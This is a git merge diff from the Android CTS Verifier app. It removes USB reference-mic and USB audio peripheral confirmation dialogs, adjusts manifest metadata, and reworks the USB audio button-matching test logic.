Merge "Fix GraphicsStatsValidationTest" into pie-cts-dev am: c7e9c00f67
Original change: https://android-review.googlesource.com/c/platform/cts/+/1501650
Change-Id: I16c7d28214a9ae8a031b31bb628196f502b7ff36
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 24177db..e95fd1e 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,7 +18,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.verifier"
android:versionCode="5"
- android:versionName="9.0_r15">
+ android:versionName="9.0_r1">
<uses-sdk android:minSdkVersion="19" android:targetSdkVersion="28"/>
@@ -215,7 +215,7 @@
<meta-data android:name="test_required_features"
android:value="android.software.device_admin" />
<meta-data android:name="test_excluded_features"
- android:value="android.hardware.type.watch:android.hardware.type.automotive" />
+ android:value="android.hardware.type.watch" />
</activity>
<activity android:name=".admin.ScreenLockTestActivity"
diff --git a/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml b/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml
index a0a715f..272a9fc 100644
--- a/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml
+++ b/apps/CtsVerifier/res/layout/audio_frequency_mic_activity.xml
@@ -32,8 +32,6 @@
android:orientation="vertical"
>
- <include layout="@layout/audio_refmic_layout"/>
-
<LinearLayout
android:layout_width="wrap_content"
android:layout_height="wrap_content"
diff --git a/apps/CtsVerifier/res/layout/audio_frequency_speaker_activity.xml b/apps/CtsVerifier/res/layout/audio_frequency_speaker_activity.xml
index a9aeafa..435f5a7 100644
--- a/apps/CtsVerifier/res/layout/audio_frequency_speaker_activity.xml
+++ b/apps/CtsVerifier/res/layout/audio_frequency_speaker_activity.xml
@@ -30,72 +30,70 @@
android:layout_height="wrap_content"
android:orientation="vertical">
- <include layout="@layout/audio_refmic_layout"/>
+ <TextView
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:scrollbars="vertical"
+ android:gravity="bottom"
+ android:id="@+id/info_text"
+ android:text="@string/audio_frequency_speaker_instructions"/>
+
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="vertical">
+ <Button
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:id="@+id/audio_frequency_speaker_mic_ready_btn"
+ android:text="@string/audio_frequency_speaker_mic_ready_btn"
+ android:nextFocusForward="@+id/audio_frequency_speaker_test_btn"
+ android:nextFocusDown="@+id/audio_frequency_speaker_test_btn"
+ android:nextFocusRight="@+id/audio_frequency_speaker_test_btn" />
<TextView
- android:layout_width="match_parent"
+ android:layout_width="wrap_content"
android:layout_height="wrap_content"
- android:scrollbars="vertical"
- android:gravity="bottom"
- android:id="@+id/info_text"
- android:text="@string/audio_frequency_speaker_instructions"/>
+ android:text="@string/audio_frequency_speaker_usb_status"
+ android:id="@+id/audio_frequency_speaker_usb_status"/>
<LinearLayout
+ android:orientation="vertical"
android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:orientation="vertical">
- <Button
- android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <LinearLayout
+ android:layout_width="wrap_content"
android:layout_height="wrap_content"
- android:id="@+id/audio_frequency_speaker_mic_ready_btn"
- android:text="@string/audio_frequency_speaker_mic_ready_btn"
- android:nextFocusForward="@+id/audio_frequency_speaker_test_btn"
- android:nextFocusDown="@+id/audio_frequency_speaker_test_btn"
- android:nextFocusRight="@+id/audio_frequency_speaker_test_btn" />
+ android:orientation="horizontal"
+ android:id="@+id/audio_frequency_speaker_layout">
+ <Button
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/audio_frequency_speaker_test_btn"
+ android:id="@+id/audio_frequency_speaker_test_btn"
+ android:nextFocusForward="@+id/pass_button"
+ android:nextFocusUp="@+id/audio_frequency_speaker_mic_ready_btn"
+ android:nextFocusDown="@+id/pass_button"
+ android:nextFocusLeft="@+id/audio_frequency_speaker_mic_ready_btn"
+ android:nextFocusRight="@+id/pass_button" />
+
+ <ProgressBar
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:id="@+id/audio_frequency_speaker_progress_bar"/>
+ </LinearLayout>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
- android:text="@string/audio_frequency_speaker_usb_status"
- android:id="@+id/audio_frequency_speaker_usb_status"/>
+ android:text="@string/audio_frequency_speaker_results_text"
+ android:id="@+id/audio_frequency_speaker_results_text"/>
- <LinearLayout
- android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="match_parent">
-
- <LinearLayout
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:orientation="horizontal"
- android:id="@+id/audio_frequency_speaker_layout">
- <Button
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="@string/audio_frequency_speaker_test_btn"
- android:id="@+id/audio_frequency_speaker_test_btn"
- android:nextFocusForward="@+id/pass_button"
- android:nextFocusUp="@+id/audio_frequency_speaker_mic_ready_btn"
- android:nextFocusDown="@+id/pass_button"
- android:nextFocusLeft="@+id/audio_frequency_speaker_mic_ready_btn"
- android:nextFocusRight="@+id/pass_button" />
-
- <ProgressBar
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:id="@+id/audio_frequency_speaker_progress_bar"/>
- </LinearLayout>
-
- <TextView
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="@string/audio_frequency_speaker_results_text"
- android:id="@+id/audio_frequency_speaker_results_text"/>
-
- </LinearLayout>
</LinearLayout>
+ </LinearLayout>
- <include layout="@layout/pass_fail_buttons"/>
+ <include layout="@layout/pass_fail_buttons"/>
</LinearLayout>
</ScrollView>
diff --git a/apps/CtsVerifier/res/layout/audio_frequency_unprocessed_activity.xml b/apps/CtsVerifier/res/layout/audio_frequency_unprocessed_activity.xml
index 8032f93..d02ef0b 100644
--- a/apps/CtsVerifier/res/layout/audio_frequency_unprocessed_activity.xml
+++ b/apps/CtsVerifier/res/layout/audio_frequency_unprocessed_activity.xml
@@ -23,8 +23,6 @@
android:layout_height="wrap_content"
android:orientation="vertical">
- <include layout="@layout/audio_refmic_layout"/>
-
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
diff --git a/apps/CtsVerifier/res/layout/audio_refmic_layout.xml b/apps/CtsVerifier/res/layout/audio_refmic_layout.xml
deleted file mode 100644
index bd806a1..0000000
--- a/apps/CtsVerifier/res/layout/audio_refmic_layout.xml
+++ /dev/null
@@ -1,38 +0,0 @@
-<LinearLayout
- xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:orientation="vertical">
-
- <TextView
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="@string/refmic_test_question"/>
-
- <LinearLayout
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:orientation="horizontal">
-
- <Button
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:soundEffectsEnabled="false"
- android:text="@string/refmic_test_yes"
- android:id="@+id/refmic_tests_yes_btn" />
-
- <Button
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:soundEffectsEnabled="false"
- android:text="@string/refmic_test_no"
- android:id="@+id/refmic_tests_no_btn" />
-
- <Button
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:soundEffectsEnabled="false"
- android:text="@string/refmic_test_info"
- android:id="@+id/refmic_test_info_btn" />
- </LinearLayout>
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/uap_attribs_panel.xml b/apps/CtsVerifier/res/layout/uap_attribs_panel.xml
index b9c5d3e..6c33d9f 100644
--- a/apps/CtsVerifier/res/layout/uap_attribs_panel.xml
+++ b/apps/CtsVerifier/res/layout/uap_attribs_panel.xml
@@ -9,8 +9,6 @@
android:layout_width="match_parent"
android:layout_height="wrap_content">
- <include layout="@layout/uap_usb_confirm"/>
-
<include layout="@layout/uap_profile_header"/>
<LinearLayout
diff --git a/apps/CtsVerifier/res/layout/uap_buttons_panel.xml b/apps/CtsVerifier/res/layout/uap_buttons_panel.xml
index 355bfb6..4fdc757 100644
--- a/apps/CtsVerifier/res/layout/uap_buttons_panel.xml
+++ b/apps/CtsVerifier/res/layout/uap_buttons_panel.xml
@@ -9,8 +9,6 @@
android:layout_width="match_parent"
android:layout_height="wrap_content">
- <include layout="@layout/uap_usb_confirm"/>
-
<include layout="@layout/uap_profile_header"/>
<LinearLayout
diff --git a/apps/CtsVerifier/res/layout/uap_play_panel.xml b/apps/CtsVerifier/res/layout/uap_play_panel.xml
index 30ef884..2faa50c 100644
--- a/apps/CtsVerifier/res/layout/uap_play_panel.xml
+++ b/apps/CtsVerifier/res/layout/uap_play_panel.xml
@@ -9,8 +9,6 @@
android:layout_width="match_parent"
android:layout_height="wrap_content">
- <include layout="@layout/uap_usb_confirm"/>
-
<include layout="@layout/uap_profile_header"/>
<LinearLayout
diff --git a/apps/CtsVerifier/res/layout/uap_record_panel.xml b/apps/CtsVerifier/res/layout/uap_record_panel.xml
index a5bfcfc..2deb738 100644
--- a/apps/CtsVerifier/res/layout/uap_record_panel.xml
+++ b/apps/CtsVerifier/res/layout/uap_record_panel.xml
@@ -9,8 +9,6 @@
android:layout_width="match_parent"
android:layout_height="wrap_content">
- <include layout="@layout/uap_usb_confirm"/>
-
<include layout="@layout/uap_profile_header"/>
<LinearLayout
diff --git a/apps/CtsVerifier/res/layout/uap_usb_confirm.xml b/apps/CtsVerifier/res/layout/uap_usb_confirm.xml
deleted file mode 100644
index ea73b88..0000000
--- a/apps/CtsVerifier/res/layout/uap_usb_confirm.xml
+++ /dev/null
@@ -1,38 +0,0 @@
-<LinearLayout
- xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:orientation="vertical">
-
- <TextView
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="@string/uap_test_question"/>
-
- <LinearLayout
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:orientation="horizontal">
-
- <Button
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:soundEffectsEnabled="false"
- android:text="@string/uap_test_yes"
- android:id="@+id/uap_tests_yes_btn" />
-
- <Button
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:soundEffectsEnabled="false"
- android:text="@string/uap_test_no"
- android:id="@+id/uap_tests_no_btn" />
-
- <Button
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:soundEffectsEnabled="false"
- android:text="@string/uap_test_info"
- android:id="@+id/uap_test_info_btn" />
- </LinearLayout>
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 3ec34a7..4f44c1c 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -3252,6 +3252,8 @@
<string name="user_restriction_set_step">
Set \'%s\' user restriction by turning on the switch below.
</string>
+ <string name="disallow_add_user">Disallow add user</string>
+ <string name="disallow_add_user_action">Adding a new user</string>
<string name="disallow_adjust_volume">Disallow adjust volume</string>
<string name="disallow_adjust_volume_action">Adjusting the volume</string>
<string name="disallow_config_date_time">Disallow config date and time settings</string>
@@ -4056,10 +4058,6 @@
<string name="uapButtonsBtnDLbl">Button D - voice assist</string>
<string name="uapButtonsRecognized">Recognized</string>
<string name="uapButtonsNotRecognized">Not Recognized</string>
- <string name="uapButtonsDisableAssistantTitle">Disable Google Assistant</string>
- <string name="uapButtonsDisableAssistant">For this test to succeed it may be necessary
- to disable the Google Assistant (Settings / Google / Search / Google Assistant Settings /
- Devices / <device name> / Google Assistant)</string>
<!-- Audio general text -->
<string name="audio_general_headset_port_exists">Does this device have a headset port?</string>
@@ -4538,30 +4536,4 @@
Click the button below to confirm that the incoming call was answered.
</string>
<string name="telecom_incoming_self_mgd_confirm_answer_button">Confirm Answer</string>
-
- <string name="uap_test_no">No</string>
- <string name="uap_test_yes">Yes</string>
- <string name="uap_test_info">Info</string>
- <string name="uap_test_question">Does this device allow for the connectiono of a USB reference microphone?</string>
- <string name="uap_mic_dlg_caption">USB Host Mode Audio Required</string>
- <string name="uap_mic_dlg_text">This test requires a USB audio peripheral to be connected to the device.
- If the device under test does not support USB Host Mode Audio (either because it does not have a
- USB port, or USB Host Mode Audio has been removed from the OS) you can be granted a provisional
- pass on this test by pressing the \"No\" button and indicating \"Test Pass\" at the bottom.\n
- Note: Handheld devices supporting USB host mode MUST support USB audio class (CDD 7.7 .2/H-1-1)\n
- Note: Devices declaring feature android.hardware.audio.pro MUST implement USB host mode (CDD 5.10 C-1-3) and if they omit a 4 conductor 3.5mm audio jack MUST support USB audio class (CDD 5.10 C-3-1)
- </string>
-
- <string name="refmic_test_no">No</string>
- <string name="refmic_test_yes">Yes</string>
- <string name="refmic_test_info">Info</string>
- <string name="refmic_test_question">Does this device allow for the connection of a USB reference microphone?</string>
- <string name="ref_mic_dlg_caption">Reference Mic Required</string>
- <string name="ref_mic_dlg_text">This test requires a USB Reference Mic to be connected to the device.
- If the device under test does not support USB Host Mode Audio (either because it does not have a
- USB port, or USB Host Mode Audio has been removed from the OS) you can be granted a provisional
- pass on this test by pressing the \"No\" button and indicating \"Test Pass\" at the bottom.\n
- Note: Handheld devices supporting USB host mode MUST support USB audio class (CDD 7.7 .2/H-1-1)\n
- Note: Devices declaring feature android.hardware.audio.pro MUST implement USB host mode (CDD 5.10 C-1-3) and if they omit a 4 conductor 3.5mm audio jack MUST support USB audio class (CDD 5.10 C-3-1)
- </string>
</resources>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
index 0e82423..c8bffdf 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/DeviceAdminKeyguardDisabledFeaturesActivity.java
@@ -67,12 +67,11 @@
R.string.device_admin_keyguard_disable_camera_instruction,
new Intent(ByodHelperActivity.ACTION_LOCKNOW)));
}
- if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
- adapter.add(new DialogTestListItem(this, R.string.device_admin_disable_notifications,
- "DeviceAdmin_DisableNotifications",
- R.string.device_admin_disable_notifications_instruction,
- new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN)));
- }
+
+ adapter.add(new DialogTestListItem(this, R.string.device_admin_disable_notifications,
+ "DeviceAdmin_DisableNotifications",
+ R.string.device_admin_disable_notifications_instruction,
+ new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN)));
}
private boolean hasTrustAgents() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
index 1857d18..1893ac2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
@@ -53,65 +53,6 @@
public int mMaxLevel = 0;
- private OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
- //
- // Common UI Handling
- protected void connectRefMicUI() {
- findViewById(R.id.refmic_tests_yes_btn).setOnClickListener(mBtnClickListener);
- findViewById(R.id.refmic_tests_no_btn).setOnClickListener(mBtnClickListener);
- findViewById(R.id.refmic_test_info_btn).setOnClickListener(mBtnClickListener);
-
- enableTestUI(false);
- }
-
- private void showRefMicInfoDialog() {
- new AlertDialog.Builder(this)
- .setTitle(R.string.ref_mic_dlg_caption)
- .setMessage(R.string.ref_mic_dlg_text)
- .setPositiveButton(R.string.audio_general_ok, null)
- .show();
- }
-
- private class OnBtnClickListener implements OnClickListener {
- @Override
- public void onClick(View v) {
- switch (v.getId()) {
- case R.id.refmic_tests_yes_btn:
- recordRefMicStatus(true);
- enableTestUI(true);
- // disable test button so that they will now run the test(s)
- getPassButton().setEnabled(false);
- break;
-
- case R.id.refmic_tests_no_btn:
- recordRefMicStatus(false);
- enableTestUI(false);
- // Allow the user to "pass" the test.
- getPassButton().setEnabled(true);
- break;
-
- case R.id.refmic_test_info_btn:
- showRefMicInfoDialog();
- break;
- }
- }
- }
-
- private void recordRefMicStatus(boolean has) {
- getReportLog().addValue(
- "User reported ref mic availability: ",
- has ? 1.0 : 0,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
- }
-
- //
- // Overrides
- //
- void enableTestUI(boolean enable) {
-
- }
-
public void setMaxLevel() {
AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
mMaxLevel = am.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java
index e296f86..129fb72 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java
@@ -238,22 +238,7 @@
5.0, -50.0, /* start top,bottom value */
5.0, -50.0 /* stop top,bottom value */);
- connectRefMicUI();
}
-
- //
- // Overrides
- //
- void enableTestUI(boolean enable) {
- mButtonTestNoise.setEnabled(enable);
- mButtonPlayNoise.setEnabled(enable);
-
- mButtonTestUsbBackground.setEnabled(enable);
-
- mButtonTestUsbNoise.setEnabled(enable);
- mButtonPlayUsbNoise.setEnabled(enable);
- }
-
private void playerToggleButton(int buttonId) {
if (playerIsPlaying()) {
playerStopAll();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java
index f954b0c..294e48d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java
@@ -205,15 +205,6 @@
5.0, -50.0, /* start top,bottom value */
5.0, -50.0 /* stop top,bottom value */);
- connectRefMicUI();
- }
-
- //
- // Overrides
- //
- void enableTestUI(boolean enable) {
- mLoopbackPlugReady.setEnabled(enable);
- mTestButton.setEnabled(enable);
}
/**
@@ -221,8 +212,8 @@
*/
private void enableLayout(boolean enable) {
for (int i = 0; i < mLinearLayout.getChildCount(); i++) {
- mLoopbackPlugReady.setEnabled(enable);
- mTestButton.setEnabled(enable);
+ View view = mLinearLayout.getChildAt(i);
+ view.setEnabled(enable);
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
index fb8460b..009dd58 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
@@ -292,24 +292,6 @@
mResultsMic = new Results("mic_response", mBands);
mResultsTone = new Results("tone_response", mBandsTone);
mResultsBack = new Results("background_response", mBandsBack);
-
- connectRefMicUI();
- }
-
- //
- // Overrides
- //
- void enableTestUI(boolean enable) {
- mButtonTestTone.setEnabled(enable);
- mButtonPlayTone.setEnabled(enable);
-
- mButtonTestNoise.setEnabled(enable);
- mButtonPlayNoise.setEnabled(enable);
-
- mButtonTestUsbBackground.setEnabled(enable);
-
- mButtonTestUsbNoise.setEnabled(enable);
- mButtonPlayUsbNoise.setEnabled(enable);
}
private void playerToggleButton(int buttonId, int sourceId) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
index 8f0a9b0..7fdf403 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
@@ -16,18 +16,12 @@
package com.android.cts.verifier.audio;
-import android.app.AlertDialog;
-import com.android.compatibility.common.util.ReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
import android.media.AudioDeviceCallback;
import android.media.AudioDeviceInfo;
import android.media.AudioManager;
import android.os.Bundle;
import android.os.Handler;
import android.util.Log;
-import android.view.View;
-import android.view.View.OnClickListener;
import android.widget.TextView;
import com.android.cts.verifier.audio.peripheralprofile.PeripheralProfile;
@@ -50,8 +44,6 @@
protected AudioDeviceInfo mOutputDevInfo;
protected AudioDeviceInfo mInputDevInfo;
- protected final boolean mIsMandatedRequired;
-
// This will be overriden...
protected int mSystemSampleRate = 48000;
@@ -61,74 +53,9 @@
private TextView mPeripheralNameTx;
- private OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-
- //
- // Common UI Handling
- //
- protected void connectUSBPeripheralUI() {
- findViewById(R.id.uap_tests_yes_btn).setOnClickListener(mBtnClickListener);
- findViewById(R.id.uap_tests_no_btn).setOnClickListener(mBtnClickListener);
- findViewById(R.id.uap_test_info_btn).setOnClickListener(mBtnClickListener);
-
- // Leave the default state in tact
- // enableTestUI(false);
- }
-
- private void showUAPInfoDialog() {
- new AlertDialog.Builder(this)
- .setTitle(R.string.uap_mic_dlg_caption)
- .setMessage(R.string.uap_mic_dlg_text)
- .setPositiveButton(R.string.audio_general_ok, null)
- .show();
- }
-
- private class OnBtnClickListener implements OnClickListener {
- @Override
- public void onClick(View v) {
- switch (v.getId()) {
- case R.id.uap_tests_yes_btn:
- recordUSBAudioStatus(true);
- enableTestUI(true);
- // disable test button so that they will now run the test(s)
- getPassButton().setEnabled(false);
- break;
-
- case R.id.uap_tests_no_btn:
- recordUSBAudioStatus(false);
- enableTestUI(false);
- // Allow the user to "pass" the test.
- getPassButton().setEnabled(true);
- break;
-
- case R.id.uap_test_info_btn:
- showUAPInfoDialog();
- break;
- }
- }
- }
-
- private void recordUSBAudioStatus(boolean has) {
- getReportLog().addValue(
- "User reported USB Host Audio Support: ",
- has ? 1.0 : 0,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
- }
-
- //
- // Overrides
- //
- void enableTestUI(boolean enable) {
-
- }
-
- public USBAudioPeripheralActivity(boolean mandatedRequired) {
+ public USBAudioPeripheralActivity() {
super();
- // determine if to show "UNSUPPORTED" if the mandated peripheral is required.
- mIsMandatedRequired = mandatedRequired;
-
mProfileManager.loadProfiles();
}
@@ -172,7 +99,7 @@
productName = mInputDevInfo.getProductName().toString();
}
String ctrlText;
- if (mSelectedProfile == null && mIsMandatedRequired) {
+ if (mSelectedProfile == null) {
ctrlText = productName + " - UNSUPPORTED";
} else {
ctrlText = productName;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
index 23ed91a..f12de73 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
@@ -32,10 +32,6 @@
private TextView mTestStatusTx;
- public USBAudioPeripheralAttributesActivity() {
- super(true); // Mandated peripheral is required
- }
-
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -47,8 +43,6 @@
setPassFailButtonClickListeners();
setInfoResources(R.string.usbaudio_attribs_test, R.string.usbaudio_attribs_info, -1);
-
- connectUSBPeripheralUI();
}
//
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
index 324b5db..87b2149 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
@@ -16,8 +16,6 @@
package com.android.cts.verifier.audio;
-import android.app.AlertDialog;
-import android.content.DialogInterface;
import android.content.res.Resources;
import android.graphics.Color;
import android.os.Bundle;
@@ -47,23 +45,6 @@
private TextView mBtnBStatusTxt;
private TextView mBtnCStatusTxt;
- public USBAudioPeripheralButtonsActivity() {
- super(false); // Mandated peripheral is NOT required
- }
-
- private void showDisableAssistantDialog() {
- AlertDialog.Builder builder =
- new AlertDialog.Builder(this, android.R.style.Theme_Material_Dialog_Alert);
- builder.setTitle(getResources().getString(R.string.uapButtonsDisableAssistantTitle));
- builder.setMessage(getResources().getString(R.string.uapButtonsDisableAssistant));
- builder.setPositiveButton(android.R.string.yes,
- new DialogInterface.OnClickListener() {
- public void onClick(DialogInterface dialog, int which) {}
- });
- builder.setIcon(android.R.drawable.ic_dialog_alert);
- builder.show();
- }
-
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -81,14 +62,12 @@
setPassFailButtonClickListeners();
setInfoResources(R.string.usbaudio_buttons_test, R.string.usbaudio_buttons_info, -1);
-
- showDisableAssistantDialog();
-
- connectUSBPeripheralUI();
}
private void showButtonsState() {
- int ctrlColor = mIsPeripheralAttached ? Color.WHITE : Color.GRAY;
+ int ctrlColor = mIsPeripheralAttached && mSelectedProfile != null
+ ? Color.WHITE
+ : Color.GRAY;
mBtnALabelTxt.setTextColor(ctrlColor);
mBtnAStatusTxt.setTextColor(ctrlColor);
mBtnBLabelTxt.setTextColor(ctrlColor);
@@ -102,19 +81,22 @@
mHasBtnB ? R.string.uapButtonsRecognized : R.string.uapButtonsNotRecognized));
mBtnCStatusTxt.setText(getString(
mHasBtnC ? R.string.uapButtonsRecognized : R.string.uapButtonsNotRecognized));
-
- calculateMatch();
}
private void calculateMatch() {
- if (mIsPeripheralAttached) {
- boolean match;
+ if (mIsPeripheralAttached && mSelectedProfile != null) {
+ ProfileButtonAttributes mButtonAttributes = mSelectedProfile.getButtonAttributes();
+ boolean match = mButtonAttributes != null;
boolean interceptedVolume = getResources().getBoolean(Resources.getSystem()
.getIdentifier("config_handleVolumeKeysInWindowManager", "bool", "android"));
- if (interceptedVolume) {
- match = mHasBtnA;
- } else {
- match = mHasBtnA && mHasBtnB && mHasBtnC;
+ if (match && mButtonAttributes.mHasBtnA != mHasBtnA) {
+ match = false;
+ }
+ if (match && mButtonAttributes.mHasBtnB != mHasBtnB && !interceptedVolume) {
+ match = false;
+ }
+ if (match && mButtonAttributes.mHasBtnC != mHasBtnC && !interceptedVolume) {
+ match = false;
}
Log.i(TAG, "match:" + match);
getPassButton().setEnabled(match);
@@ -125,27 +107,29 @@
@Override
public boolean onKeyDown(int keyCode, KeyEvent event) {
- // Log.i(TAG, "onKeyDown(" + keyCode + ")");
- switch (keyCode) {
- // Function A control event
- case KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE:
- mHasBtnA = true;
- break;
-
- // Function B control event
- case KeyEvent.KEYCODE_VOLUME_UP:
- mHasBtnB = true;
- break;
-
- // Function C control event
- case KeyEvent.KEYCODE_VOLUME_DOWN:
- mHasBtnC = true;
- break;
+ Log.i(TAG, "onKeyDown(" + keyCode + ")");
+ if (mSelectedProfile != null) {
+ switch (keyCode) {
+ // Function A control event
+ case KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE:
+ mHasBtnA = true;
+ break;
+
+ // Function B control event
+ case KeyEvent.KEYCODE_VOLUME_UP:
+ mHasBtnB = true;
+ break;
+
+ // Function C control event
+ case KeyEvent.KEYCODE_VOLUME_DOWN:
+ mHasBtnC = true;
+ break;
+ }
+
+ showButtonsState();
+ calculateMatch();
}
- showButtonsState();
- calculateMatch();
-
return super.onKeyDown(keyCode, event);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
index 4ae5ec3..640d489 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
@@ -31,10 +31,6 @@
private Button mPlayBtn;
private LocalClickListener mButtonClickListener = new LocalClickListener();
- public USBAudioPeripheralPlayActivity() {
- super(false); // Mandated peripheral is NOT required
- }
-
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -50,20 +46,14 @@
setPassFailButtonClickListeners();
setInfoResources(R.string.usbaudio_play_test, R.string.usbaudio_play_info, -1);
-
- connectUSBPeripheralUI();
}
//
// USBAudioPeripheralActivity
// Headset not publicly available, violates CTS Verifier additional equipment guidelines.
- void enableTestUI(boolean enable) {
- mPlayBtn.setEnabled(enable);
- }
-
public void updateConnectStatus() {
- mPlayBtn.setEnabled(mIsPeripheralAttached);
- getPassButton().setEnabled(mIsPeripheralAttached);
+ mPlayBtn.setEnabled(mIsPeripheralAttached && mSelectedProfile != null);
+ getPassButton().setEnabled(mSelectedProfile != null && mOutputDevInfo != null);
}
public class LocalClickListener implements View.OnClickListener {
